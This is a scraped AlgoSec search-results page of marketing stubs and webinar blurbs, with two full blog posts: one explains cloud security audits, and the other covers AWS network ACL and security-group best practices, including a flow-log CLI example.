top of page

Search results

625 results found with an empty search

  • AlgoSec support programs | AlgoSec

    AlgoSec offers support programs to provide the right level of service for each customer’s needs AlgoSec support programs We aim to provide the most professional and highest level of technical support to our customers. Support is provided through centers located around the globe which serve customers and partners in their local time zone View detailed information Customer Type Access to Knowledgebase and Documentation Access to AlgoSec Technical Community New Upgrades Patches and Hotfixes Email Support Coverage During Local Business Hours (9:00-17:00) 24 x 7 Coverage Instant Online Chat Priority Access to Support and R&D 6-Hour Response Time for Severity 1 Issues* 2-Hour Response Time for Severity 1 Issues* Designated Support Engineer Staging Environment in AlgoSec QA Lab Annual On-Site Preventive Maintenance Visit Quarterly Service Review 10% Discount On Certification Training (Unlimited Number of People) Self service Self service SMB SMB Preferred Enterprise Premium Large enterprise Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • UseCase Cisco ACI Policy Migration - AlgoSec

    UseCase Cisco ACI Policy Migration Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • Firewalls Ablaze? Put Out Network Security Audit & Compliance Fires | AlgoSec

    Webinars Firewalls Ablaze? Put Out Network Security Audit & Compliance Fires The growing body of regulations and standards forces enterprises to put considerable emphasis on compliance verified by ad hoc and regular auditing of security policies and controls. While regulatory and internal audits entail a wide range of security checks, network firewalls are featured prominently as they are the first line of defense of the enterprise network. Typical networks might include tens or hundreds of firewalls from multiple vendors running thousands of rules. Auditing firewalls for compliance is becoming more complex and demanding all the time. Documentation of current rules and their evolution of changes is lacking Time and resources required to find, organize and inspect all the firewall rules to determine the level of compliance is exorbitant and growing It’s time to adopt auditing’s best practices to maintain continuous compliance. Join us in this webinar to discover the Firewall Audit Checklist, the 6 best practices that will ensure successful audits and full compliance. By adopting these best practices, security teams will significantly improve their network’s security posture and reduce the pain of ensuring compliance with regulations, industry standards and corporate policies. Tal Dayan AlgoSec security expert Relevant resources Firewall audit checklist for security policy rules review Firewall audit checklist for security policy rules review See Documentation AlgoSec AppViz - Application visibility for AlgoSec Firewall Analyzer See Documentation Firewall policy management Automate firewall rule changes See Documentation Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • Secure application connectivity across your hybrid environment - AlgoSec

    Secure application connectivity across your hybrid environment E-BOOK Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • How to Manage Your Cloud Journey | AlgoSec

    Cloud management enhances visibility across a hybrid network, processes network security policy changes in minutes, and reduces configuration risks But what does effective cloud management look like Webinars How to Manage Your Cloud Journey Episode 1 of Keeping Up-to-Date with Your Network Security Securing your data was once much simpler, and has grown more complex in recent years. As the workforce becomes more distributed, so does your data. Spreading your data across multiple public and private clouds complicates your network. While data used to sit behind lock and key in guarded locations, today’s data sits in multiple locations and geographies, and is made up of multiple public clouds, private clouds and other on-premises network devices. This is why managing your cloud journey can be tiresome and complicated. Enter cloud management. Cloud management enhances visibility across a hybrid network, processes network security policy changes in minutes, and reduces configuration risks. But how can you leverage your cloud management to reap these benefits? What does effective cloud management look like, and how can you achieve it when workloads, sensitive data, and information are so widely dispersed? In this episode we’ll discuss: How to manage multiple workloads on the cloud What successful security management looks like for today’s enterprises How to achieve simple, effective security management for your hybrid network May 4, 2021 Alex Hilton Chief Executive at Cloud Industry Forum (CIF) Stephen Owen Esure Group Oren Amiram Director Product Management, Algosec Relevant resources A Pragmatic Approach to Network Security Across Your Hybrid Cloud Environment Keep Reading State of cloud security: Concerns, challenges, and incidents Read Document Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • AlgoSec | What is a Cloud Security Audit? (and How to Conduct One)

    Featured Snippet A cloud security audit is a review of an organization’s cloud security environment. During an audit, the security... Cloud Security What is a Cloud Security Audit? (and How to Conduct One) Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 6/23/23 Published Featured Snippet A cloud security audit is a review of an organization’s cloud security environment. During an audit, the security auditor will gather information, perform tests, and confirm whether the security posture meets industry standards. PAA: What is the objective of a cloud security audit? The main objective of a cloud security audit is to evaluate the health of your cloud environment, including any data and applications hosted on the cloud. PAA: What are three key areas of auditing in the cloud? From the list of “6 Fundamental Steps of a Cloud Security Audit.” Inspect the security posture Determine the attack surface Implement strict access controls PAA: What are the two types of security audits? Security audits come in two forms: internal and external. In internal audits, a business uses its resources and employees to conduct the investigation. In external audits, a third-party organization is hired to conduct the audit. PAA: How do I become a cloud security auditor? To become a cloud security auditor, you need a certification like the Certificate of Cloud Security Knowledge (CCSK) or Certified Cloud Security Professional (CCSP). Prior experience in IT auditing, cloud security management, and cloud risk assessment is highly beneficial. Cloud environments are used to store over 60 percent of all corporate data as of 2022. With so much data in the cloud, organizations rely on cloud security audits to ensure that cloud services can safely provide on-demand access. In this article, we explain what a cloud security audit is, its main objectives, and its benefits. We’ve also listed the six crucial steps of a cloud audit and a checklist of example actions taken during an audit. What Is a Cloud Security Audit? A cloud security audit is a review of an organization’s cloud security environment . During an audit, the security auditor will gather information, perform tests, and confirm whether the security posture meets industry standards. Cloud service providers (CSPs) offer three main types of services: Software as a Service (SaaS) Infrastructure as a Service (IaaS) Platform as a Service (PaaS) Businesses use these solutions to store data and drive daily operations. A cloud security audit evaluates a CSP’s security and data protection measures. It can help identify and address any risks. The audit assesses how secure, dependable, and reliable a cloud environment is. Cloud audits are an essential data protection measure for companies that store and process data in the cloud. An audit assesses the security controls used by CSPs within the company’s cloud environment. It evaluates the effectiveness of the CSP’s security policies and technical safeguards. Auditors identify vulnerabilities, gaps, or noncompliance with regulations. Addressing these issues can prevent data breaches and exploitation via cybersecurity attacks. Meeting mandatory compliance standards will also prevent potentially expensive fines and being blacklisted. Once the technical investigation is complete, the auditor generates a report. This report states their findings and can have recommendations to optimize security. An audit can also help save money by finding unused or redundant resources in the cloud system. Main Objectives of a Cloud Security Audit The main objective of a cloud security audit is to evaluate the health of your cloud environment, including any data and applications hosted on the cloud. Other important objectives include: Decide the information architecture: Audits help define the network, security, and systems requirements to secure information. This includes data at rest and in transit. Align IT resources: A cloud audit can align the use of IT resources with business strategies. Identify risks: Businesses can identify risks that could harm their cloud environment. This could be security vulnerabilities, data access errors, and noncompliance with regulations. Optimize IT processes: An audit can help create documented, standardized, and repeatable processes, leading to a secure and reliable IT environment. This includes processes for system ownership, information security, network access, and risk management. Assess vendor security controls: Auditors can inspect the CSP’s security control frameworks and reliability. What Are the Two Types of Cloud Security Audits? Security audits come in two forms: internal and external. In internal audits, a business uses its resources and employees to conduct the investigation. In external audits, a third-party organization is hired to conduct the audit. The internal audit team reviews the organization’s cloud infrastructure and data. They aim to identify any vulnerabilities or compliance issues. A third-party auditor will do the same during an external audit. Both types of audits provide an objective assessment of the security posture . But internal audits are rare since there is a higher chance of prejudice during analysis. Who Provides Cloud Security Audits? Cloud security assessments are provided by: Third-party auditors: Independent third-party audit firms that specialize in auditing cloud ecosystems. These auditors are often certified and experienced in CSP security policies. They also use automated and manual security testing methods for a comprehensive evaluation. Some auditing firms extend remediation support after the audit. Cloud service providers: Some cloud platforms offer auditing services and tools. These tools vary in the depth of their assessments and the features they provide to fix problems. Internal audit teams: Many organizations use internal audit teams. These teams assess the controls and processes using CSPM tools . They provide recommendations for improving security and mitigating risks. Why Cloud Security Audits Are So Important Here are eight ways in which security audits of cloud services are performed: Identify security risks: An audit can identify potential security risks. This includes weaknesses in the cloud infrastructure, apps, APIs, or data. Recognizing and fixing these risks is critical for data protection. Ensure compliance: Audits help the cloud environment comply with regulations like HIPAA, PCI DSS, and ISO 27001. Compliance with these standards is vital for avoiding legal and financial penalties. Optimize cloud processes: An audit can help create efficient processes using fewer resources. There is also a decreased risk of breakdowns or malfunctions. Manage access control: Employees constantly change positions within the company or leave. With an audit, businesses can ensure that everyone has the right level of access. For example, access is completely removed for former employees. Auditing access control verifies if employees can safely log in to cloud systems. This is done via two-step authentication, multi-factor authentication, and VPNs. Assess third-party tools: Multi-vendor cloud systems include many third-party tools and API integrations. An audit of these tools and APIs can check if they are safe. It can also ensure that they do not compromise overall security. Avoid data loss: Audits help companies identify areas of potential data loss. This could be during transfer or backup or throughout different work processes. Patching these areas is vital for data safety. Check backup safety: Cloud vendors offer services to back up company data regularly. An audit of backup mechanisms can ensure they are performed at the right frequency and without any flaws. Proactive risk management: Organizations can address potential risks before they become major incidents. Taking proactive action can prevent data breaches, system failures, and other incidents that disrupt daily operations. Save money: Audits can help remove obsolete or underused resources in the cloud. Doing this saves money while improving performance. Improve cloud security posture: Like an IT audit, a cloud audit can help improve overall data confidentiality, integrity, and availability. How Is a Cloud Security Audit Conducted? The exact audit process varies depending on the specific goals and scope. Typically, an independent third party performs the audit. It inspects a cloud vendor’s security posture. It assesses how the CSP implements security best practices and whether it adheres to industry standards. It also evaluates performance against specific benchmarks set before the audit. Here is a general overview of the audit process: Define the scope: The first step is to define the scope of the audit. This includes listing the CSPs, security controls, processes, and regulations to be assessed. Plan the audit: The next step is to plan the audit. This involves establishing the audit team, a timeline, and an audit plan. This plan outlines the specific tasks to be performed and the evaluation criteria. Collect information: The auditor can collect information using various techniques. This includes analytics and security tools, physical inspections, questioning, and observation. Review and analyze: The auditor reviews all the information to evaluate the security posture. Create an audit report: An audit report summarizes findings and lists any issues. It is presented to company management at an audit briefing. The report also provides actions for improvement. Take action: Companies form a team to address issues in the audit report. This team performs remediation actions. The audit process could take 12 weeks to complete. However, it could take longer for businesses to complete the recommended remediation tasks. The schedule may be extended if a gap analysis is required. Businesses can speed up the audit process using automated security tools . This software quickly provides a unified view of all security risks across multiple cloud vendors. Some CSPs, like Amazon Web Services (AWS) and Microsoft Azure, also offer auditing tools. These tools are exclusive to each specific platform. The price of a cloud audit varies based on its scope, the size of the organization, and the number of cloud platforms. For example, auditing one vendor could take four or five weeks. But a complex web with multiple vendors could take more than 12 weeks. 6 Fundamental Steps of a Cloud Security Audit Six crucial steps must be performed in a cloud audit: 1. Evaluate security posture Evaluate the security posture of the cloud system . This includes security controls, policies, procedures, documentation, and incident response plans. The auditor can interview IT staff, cloud vendor staff, and other stakeholders to collect evidence about information systems. Screenshots and paperwork are also used as proof. After this process, the auditor analyzes the evidence. They check if existing procedures meet industry guidelines, like the ones provided by Cloud Security Alliance (CSA). 2. Define the attack surface An attack surface includes all possible points, or attack vectors, through which unauthorized users can access and exploit a system. Since cloud solutions are so complex, this can be challenging. Organizations must use cloud monitoring and observability technologies to determine the attack surface. They must also prioritize high-risk assets and focus their remediation efforts on them. Auditors must identify all the applications and assets running within cloud instances and containers. They must check if the organization approves these or if they represent shadow IT. To protect data, all workloads within the cloud system must be standardized and have up-to-date security measures. 3. Implement robust access controls Access management breaches are a widespread security risk. Unauthorized personnel can get credentials to access sensitive cloud data using various methods. To minimize security issues related to unauthorized access, organizations must: Create comprehensive password guidelines and policies Mandate multi-factor authentication (MFA) Use the Principle of Least Privilege Access (PoLP) Restrict administrative rights 4. Strict data sharing standards Organizations must install strong standards for external data access and sharing. These standards dictate how data is viewed and accessed in shared drives, calendars, and folders. Start with restrictive standards and then loosen up restrictions when necessary. External access should not be provided to files and folders containing sensitive data. This includes personally identifiable information (PII) and protected health information (PHI). 5. Use SIEM Security Information and Event Management (SIEM) systems can collect cloud logs in a standardized format. This allows editors to access logs and automatically generates reports necessary for different compliance standards. This helps organizations maintain compliance with industry security standards. 6. Automate patch management Regular security patches are crucial. However, many organizations and IT teams struggle with patch management. To create an efficient patch management process, organizations must: Focus on the most crucial patches first Regularly patch valuable assets using automation Add manual reviews to the automated patching process to ensure long-term security How Often Should Cloud Security Audits Be Conducted? As a general rule of thumb, audits are conducted annually or biannually. But an audit should also be performed when: Mandated by regulatory standards. For example, Level 1 businesses must pass at least one audit per year to remain PCI DSS compliant. There is a higher risk level. Organizations storing sensitive data may need more frequent audits. There are significant changes to the cloud environment. Ultimately, the frequency of audits depends on the organization’s specific needs. The Major Cloud Security Audit Challenges Here are some of the major challenges that organizations may face: Lack of visibility Cloud infrastructures can be complex with many services and applications across different providers. Each cloud vendor has their own security policies and practices. They also provide limited access to operational and forensic data required for auditing. This lack of transparency prevents auditors from accessing pertinent data. To gather all relevant data, IT operations staff must coordinate with CSPs. Auditors must also carefully choose test cases to avoid violating the CSP’s security policies. Encryption Data in the cloud is encrypted using two methods — internal or provider encryption. Internal or on-premise encryption is when organizations encrypt data before it is transferred to the cloud. Provider encryption is when the CSP handles encryption. With on-premise encryption, the primary threat comes from malicious internal actors. In the latter method, any security breach of the cloud provider’s network can harm your data. From an auditing standpoint, it is best to encrypt data and manage encryption keys internally. If the CSP handles the encryption keys, auditing becomes nearly impossible. Colocation Many cloud providers use the same physical systems for multiple user organizations. This increases the security risk. It also makes it challenging for auditors to inspect physical locations. Organizations should use cloud vendors that use mechanisms to prevent unauthorized data access. For example, a cloud vendor must prevent users from claiming administrative rights to the entire system. Lack of standardization Cloud environments have ever-increasing entities for auditors to inspect. This includes managed databases, physical hosts, virtual machines (VMs), and containers. Auditing all these entities can be difficult, especially when there are constant changes to the entities. Standardized procedures and workloads help auditors identify all critical entities within cloud systems. Cloud Security Audit Checklist Here is a cloud security audit checklist with example actions taken for each general control area: The above list is not all-inclusive. Each cloud environment and process involved in auditing it is different. Industry Standards To Guide Cloud Security Audits Industry groups have created security standards to help companies maintain their security posture. Here are the five most recognized standards for cloud compliance and auditing: CSA Security, Trust, & Assurance Registry (STAR): This is a security assurance program run by the CSA. The STAR program is built on three fundamental techniques: CSA’s Cloud Control Matrix (CCM) Consensus Assessments Initiative Questionnaire (CAIQ) CSA’s Code of Conduct for GDPR Compliance CSA also has a registry of CSPs who have completed a self-assessment of their security controls. The program includes guidelines that can be used for cloud audits. ISO/IEC 27017:2015: The ISO/IEC 27017:2015 are guidelines for information security controls in cloud computing environments. ISO/IEC 27018:2019: The ISO/IEC 27018:2019 provides guidelines for protecting PII in public cloud computing environments. MTCS SS 584: Multi-Tier Cloud Security (MTCS) SS 584 is a cloud security standard developed by the Infocomm Media Development Authority (IMDA) of Singapore. The standard has guidelines for CSPs on information security controls.Cloud customers and auditors can use it to evaluate the security posture of CSPs. CIS Foundations Benchmarks: The Center for Internet Security (CIS) Foundations Benchmarks are guidelines for securing IT systems and data. They help organizations of all sizes improve their security posture. Final Thoughts on Cloud Security Audits Cloud security audits are crucial for ensuring your cloud systems are secure and compliant. This is essential for data protection and preventing cybersecurity attacks. Auditors must use modern monitoring and CSPM tools like Prevasio to easily identify vulnerabilities in multi-vendor cloud environments. This software leads to faster audits and provides a unified view of all threats, making it easier to take relevant action. FAQs About Cloud Security Audits How do I become a cloud security auditor? To become a cloud security auditor, you need certification like the Certificate of Cloud Security Knowledge (CCSK) or Certified Cloud Security Professional (CCSP). Prior experience in IT auditing, cloud security management, and cloud risk assessment is highly beneficial. Other certifications like the Certificate of Cloud Auditing Knowledge (CCAK) by ISACA and CSA could also help. In addition, knowledge of security guidelines and compliance frameworks, including PCI DSS, ISO 27001, SOC 2, and NIST, is also required. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

  • Application Segmentation With Cisco Tetration and AlgoSec - AlgoSec

    Application Segmentation With Cisco Tetration and AlgoSec Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • Azure security best practices checklist - AlgoSec

    Azure security best practices checklist Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • AlgoSec | NACL best practices: How to combine security groups with network ACLs effectively

    Like all modern cloud providers, Amazon adopts the shared responsibility model for cloud security. Amazon guarantees secure... AWS NACL best practices: How to combine security groups with network ACLs effectively Prof. Avishai Wool 2 min read Prof. Avishai Wool Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/28/23 Published Like all modern cloud providers, Amazon adopts the shared responsibility model for cloud security. Amazon guarantees secure infrastructure for Amazon Web Services, while AWS users are responsible for maintaining secure configurations. That requires using multiple AWS services and tools to manage traffic. You’ll need to develop a set of inbound rules for incoming connections between your Amazon Virtual Private Cloud (VPC) and all of its Elastic Compute (EC2) instances and the rest of the Internet. You’ll also need to manage outbound traffic with a series of outbound rules. Your Amazon VPC provides you with several tools to do this. The two most important ones are security groups and Network Access Control Lists (NACLs). Security groups are stateful firewalls that secure inbound traffic for individual EC2 instances. Network ACLs are stateless firewalls that secure inbound and outbound traffic for VPC subnets. Managing AWS VPC security requires configuring both of these tools appropriately for your unique security risk profile. This means planning your security architecture carefully to align it the rest of your security framework. For example, your firewall rules impact the way Amazon Identity Access Management (IAM) handles user permissions. Some (but not all) IAM features can be implemented at the network firewall layer of security. Before you can manage AWS network security effectively , you must familiarize yourself with how AWS security tools work and what sets them apart. Everything you need to know about security groups vs NACLs AWS security groups explained: Every AWS account has a single default security group assigned to the default VPC in every Region. It is configured to allow inbound traffic from network interfaces assigned to the same group, using any protocol and any port. It also allows all outbound traffic using any protocol and any port. Your default security group will also allow all outbound IPv6 traffic once your VPC is associated with an IPv6 CIDR block. You can’t delete the default security group, but you can create new security groups and assign them to AWS EC2 instances. Each security group can only contain up to 60 rules, but you can set up to 2500 security groups per Region. You can associate many different security groups to a single instance, potentially combining hundreds of rules. These are all allow rules that allow traffic to flow according the ports and protocols specified. For example, you might set up a rule that authorizes inbound traffic over IPv6 for linux SSH commands and sends it to a specific destination. This could be different from the destination you set for other TCP traffic. Security groups are stateful, which means that requests sent from your instance will be allowed to flow regardless of inbound traffic rules. Similarly, VPC security groups automatically responses to inbound traffic to flow out regardless of outbound rules. However, since security groups do not support deny rules, you can’t use them to block a specific IP address from connecting with your EC2 instance. Be aware that Amazon EC2 automatically blocks email traffic on port 25 by default – but this is not included as a specific rule in your default security group. AWS NACLs explained: Your VPC comes with a default NACL configured to automatically allow all inbound and outbound network traffic. Unlike security groups, NACLs filter traffic at the subnet level. That means that Network ACL rules apply to every EC2 instance in the subnet, allowing users to manage AWS resources more efficiently. Every subnet in your VPC must be associated with a Network ACL. Any single Network ACL can be associated with multiple subnets, but each subnet can only be assigned to one Network ACL at a time. Every rule has its own rule number, and Amazon evaluates rules in ascending order. The most important characteristic of NACL rules is that they can deny traffic. Amazon evaluates these rules when traffic enters or leaves the subnet – not while it moves within the subnet. You can access more granular data on data flows using VPC flow logs. Since Amazon evaluates NACL rules in ascending order, make sure that you place deny rules earlier in the table than rules that allow traffic to multiple ports. You will also have to create specific rules for IPv4 and IPv6 traffic – AWS treats these as two distinct types of traffic, so rules that apply to one do not automatically apply to the other. Once you start customizing NACLs, you will have to take into account the way they interact with other AWS services. For example, Elastic Load Balancing won’t work if your NACL contains a deny rule excluding traffic from 0.0.0.0/0 or the subnet’s CIDR. You should create specific inclusions for services like Elastic Load Balancing, AWS Lambda, and AWS CloudWatch. You may need to set up specific inclusions for third-party APIs, as well. You can create these inclusions by specifying ephemeral port ranges that correspond to the services you want to allow. For example, NAT gateways use ports 1024 to 65535. This is the same range covered by AWS Lambda functions, but it’s different than the range used by Windows operating systems. When creating these rules, remember that unlike security groups, NACLs are stateless. That means that when responses to allowed traffic are generated, those responses are subject to NACL rules. Misconfigured NACLs deny traffic responses that should be allowed, leading to errors, reduced visibility, and potential security vulnerabilities . How to configure and map NACL associations A major part of optimizing NACL architecture involves mapping the associations between security groups and NACLs. Ideally, you want to enforce a specific set of rules at the subnet level using NACLs, and a different set of instance-specific rules at the security group level. Keeping these rulesets separate will prevent you from setting inconsistent rules and accidentally causing unpredictable performance problems. The first step in mapping NACL associations is using the Amazon VPC console to find out which NACL is associated with a particular subnet. Since NACLs can be associated with multiple subnets, you will want to create a comprehensive list of every association and the rules they contain. To find out which NACL is associated with a subnet: Open the Amazon VPC console . Select Subnets in the navigation pane. Select the subnet you want to inspect. The Network ACL tab will display the ID of the ACL associated with that network, and the rules it contains. To find out which subnets are associated with a NACL: Open the Amazon VPC console . Select Network ACLS in the navigation pane. Click over to the column entitled Associated With. Select a Network ACL from the list. Look for Subnet associations on the details pane and click on it. The pane will show you all subnets associated with the selected Network ACL. Now that you know how the difference between security groups and NACLs and you can map the associations between your subnets and NACLs, you’re ready to implement some security best practices that will help you strengthen and simplify your network architecture. 5 best practices for AWS NACL management Pay close attention to default NACLs, especially at the beginning Since every VPC comes with a default NACL, many AWS users jump straight into configuring their VPC and creating subnets, leaving NACL configuration for later. The problem here is that every subnet associated with your VPC will inherit the default NACL. This allows all traffic to flow into and out of the network. Going back and building a working security policy framework will be difficult and complicated – especially if adjustments are still being made to your subnet-level architecture. Taking time to create custom NACLs and assign them to the appropriate subnets as you go will make it much easier to keep track of changes to your security posture as you modify your VPC moving forward. Implement a two-tiered system where NACLs and security groups complement one another Security groups and NACLs are designed to complement one another, yet not every AWS VPC user configures their security policies accordingly. Mapping out your assets can help you identify exactly what kind of rules need to be put in place, and may help you determine which tool is the best one for each particular case. For example, imagine you have a two-tiered web application with web servers in one security group and a database in another. You could establish inbound NACL rules that allow external connections to your web servers from anywhere in the world (enabling port 443 connections) while strictly limiting access to your database (by only allowing port 3306 connections for MySQL). Look out for ineffective, redundant, and misconfigured deny rules Amazon recommends placing deny rules first in the sequential list of rules that your NACL enforces. Since you’re likely to enforce multiple deny rules per NACL (and multiple NACLs throughout your VPC), you’ll want to pay close attention to the order of those rules, looking for conflicts and misconfigurations that will impact your security posture. Similarly, you should pay close attention to the way security group rules interact with your NACLs. Even misconfigurations that are harmless from a security perspective may end up impacting the performance of your instance, or causing other problems. Regularly reviewing your rules is a good way to prevent these mistakes from occurring. Limit outbound traffic to the required ports or port ranges When creating a new NACL, you have the ability to apply inbound or outbound restrictions. There may be cases where you want to set outbound rules that allow traffic from all ports. Be careful, though. This may introduce vulnerabilities into your security posture. It’s better to limit access to the required ports, or to specify the corresponding port range for outbound rules. This establishes the principle of least privilege to outbound traffic and limits the risk of unauthorized access that may occur at the subnet level. Test your security posture frequently and verify the results How do you know if your particular combination of security groups and NACLs is optimal? Testing your architecture is a vital step towards making sure you haven’t left out any glaring vulnerabilities. It also gives you a good opportunity to address misconfiguration risks. This doesn’t always mean actively running penetration tests with experienced red team consultants, although that’s a valuable way to ensure best-in-class security. It also means taking time to validate your rules by running small tests with an external device. Consider using AWS flow logs to trace the way your rules direct traffic and using that data to improve your work. How to diagnose security group rules and NACL rules with flow logs Flow logs allow you to verify whether your firewall rules follow security best practices effectively. You can follow data ingress and egress and observe how data interacts with your AWS security rule architecture at each step along the way. This gives you clear visibility into how efficient your route tables are, and may help you configure your internet gateways for optimal performance. Before you can use the Flow Log CLI, you will need to create an IAM role that includes a policy granting users the permission to create, configure, and delete flow logs. Flow logs are available at three distinct levels, each accessible through its own console: Network interfaces VPCs Subnets You can use the ping command from an external device to test the way your instance’s security group and NACLs interact. Your security group rules (which are stateful) will allow the response ping from your instance to go through. Your NACL rules (which are stateless) will not allow the outbound ping response to travel back to your device. You can look for this activity through a flow log query. Here is a quick tutorial on how to create a flow log query to check your AWS security policies. First you’ll need to create a flow log in the AWS CLI. This is an example of a flow log query that captures all rejected traffic for a specified network interface. It delivers the flow logs to a CloudWatch log group with permissions specified in the IAM role: aws ec2 create-flow-logs \ –resource-type NetworkInterface \ –resource-ids eni-1235b8ca123456789 \ –traffic-type ALL \ –log-group-name my-flow-logs \ –deliver-logs-permission-arn arn:aws:iam::123456789101:role/publishFlowLogs Assuming your test pings represent the only traffic flowing between your external device and EC2 instance, you’ll get two records that look like this: 2 123456789010 eni-1235b8ca123456789 203.0.113.12 172.31.16.139 0 0 1 4 336 1432917027 1432917142 ACCEPT OK 2 123456789010 eni-1235b8ca123456789 172.31.16.139 203.0.113.12 0 0 1 4 336 1432917094 1432917142 REJECT OK To parse this data, you’ll need to familiarize yourself with flow log syntax. Default flow log records contain 14 arguments, although you can also expand custom queries to return more than double that number: Version tells you the version currently in use. Default flow logs requests use Version 2. Expanded custom requests may use Version 3 or 4. Account-id tells you the account ID of the owner of the network interface that traffic is traveling through. The record may display as unknown if the network interface is part of an AWS service like a Network Load Balancer. Interface-id shows the unique ID of the network interface for the traffic currently under inspection. Srcaddr shows the source of incoming traffic, or the address of the network interface for outgoing traffic. In the case of IPv4 addresses for network interfaces, it is always its private IPv4 address. Dstaddr shows the destination of outgoing traffic, or the address of the network interface for incoming traffic. In the case of IPv4 addresses for network interfaces, it is always its private IPv4 address. Srcport is the source port for the traffic under inspection. Dstport is the destination port for the traffic under inspection. Protocol refers to the corresponding IANA traffic protocol number . Packets describes the number of packets transferred. Bytes describes the number of bytes transferred. Start shows the start time when the first data packet was received. This could be up to one minute after the network interface transmitted or received the packet. End shows the time when the last data packet was received. This can be up to one minutes after the network interface transmitted or received the data packet. Action describes what happened to the traffic under inspection: ACCEPT means that traffic was allowed to pass. REJECT means the traffic was blocked, typically by security groups or NACLs. Log-status confirms the status of the flow log: OK means data is logging normally. NODATA means no network traffic to or from the network interface was detected during the specified interval. SKIPDATA means some flow log records are missing, usually due to internal capacity restraints or other errors. Going back to the example above, the flow log output shows that a user sent a command from a device with the IP address 203.0.113.12 to the network interface’s private IP address, which is 172.31.16.139. The security group’s inbound rules allowed the ICMP traffic to travel through, producing an ACCEPT record. However, the NACL did not let the ping response go through, because it is stateless. This generated the REJECT record that followed immediately after. If you configure your NACL to permit output ICMP traffic and run this test again, the second flow log record will change to ACCEPT. azon Web Services (AWS) is one of the most popular options for organizations looking to migrate their business applications to the cloud. It’s easy to see why: AWS offers high capacity, scalable and cost-effective storage, and a flexible, shared responsibility approach to security. Essentially, AWS secures the infrastructure, and you secure whatever you run on that infrastructure. However, this model does throw up some challenges. What exactly do you have control over? How can you customize your AWS infrastructure so that it isn’t just secure today, but will continue delivering robust, easily managed security in the future? The basics: security groups AWS offers virtual firewalls to organizations, for filtering traffic that crosses their cloud network segments. The AWS firewalls are managed using a concept called Security Groups. These are the policies, or lists of security rules, applied to an instance – a virtualized computer in the AWS estate. AWS Security Groups are not identical to traditional firewalls, and they have some unique characteristics and functionality that you should be aware of, and we’ve discussed them in detail in video lesson 1: the fundamentals of AWS Security Groups , but the crucial points to be aware of are as follows. First, security groups do not deny traffic – that is, all the rules in security groups are positive, and allow traffic. Second, while security group rules can be set to specify a traffic source, or a destination, they cannot specify both on the same rule. This is because AWS always sets the unspecified side (source or destination) as the instance to which the group is applied. Finally, single security groups can be applied to multiple instances, or multiple security groups can be applied to a single instance: AWS is very flexible. This flexibility is one of the unique benefits of AWS, allowing organizations to build bespoke security policies across different functions and even operating systems, mixing and matching them to suit their needs. Adding Network ACLs into the mix To further enhance and enrich its security filtering capabilities AWS also offers a feature called Network Access Control Lists (NACLs). Like security groups, each NACL is a list of rules, but there are two important differences between NACLs and security groups. The first difference is that NACLs are not directly tied to instances, but are tied with the subnet within your AWS virtual private cloud that contains the relevant instance. This means that the rules in a NACL apply to all of the instances within the subnet, in addition to all the rules from the security groups. So a specific instance inherits all the rules from the security groups associated with it, plus the rules associated with a NACL which is optionally associated with a subnet containing that instance. As a result NACLs have a broader reach, and affect more instances than a security group does. The second difference is that NACLs can be written to include an explicit action, so you can write ‘deny’ rules – for example to block traffic from a particular set of IP addresses which are known to be compromised. The ability to write ‘deny’ actions is a crucial part of NACL functionality. It’s all about the order As a consequence, when you have the ability to write both ‘allow’ rules and ‘deny’ rules, the order of the rules now becomes important. If you switch the order of the rules between a ‘deny’ and ‘allow’ rule, then you’re potentially changing your filtering policy quite dramatically. To manage this, AWS uses the concept of a ‘rule number’ within each NACL. By specifying the rule number, you can identify the correct order of the rules for your needs. You can choose which traffic you deny at the outset, and which you then actively allow. As such, with NACLs you can manage security tasks in a way that you cannot do with security groups alone. However, we did point out earlier that an instance inherits security rules from both the security groups, and from the NACLs – so how do these interact? The order by which rules are evaluated is this; For inbound traffic, AWS’s infrastructure first assesses the NACL rules. If traffic gets through the NACL, then all the security groups that are associated with that specific instance are evaluated, and the order in which this happens within and among the security groups is unimportant because they are all ‘allow’ rules. For outbound traffic, this order is reversed: the traffic is first evaluated against the security groups, and then finally against the NACL that is associated with the relevant subnet. You can see me explain this topic in person in my new whiteboard video: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

  • Infrastructure as code: Connectivity risk analysis - AlgoSec

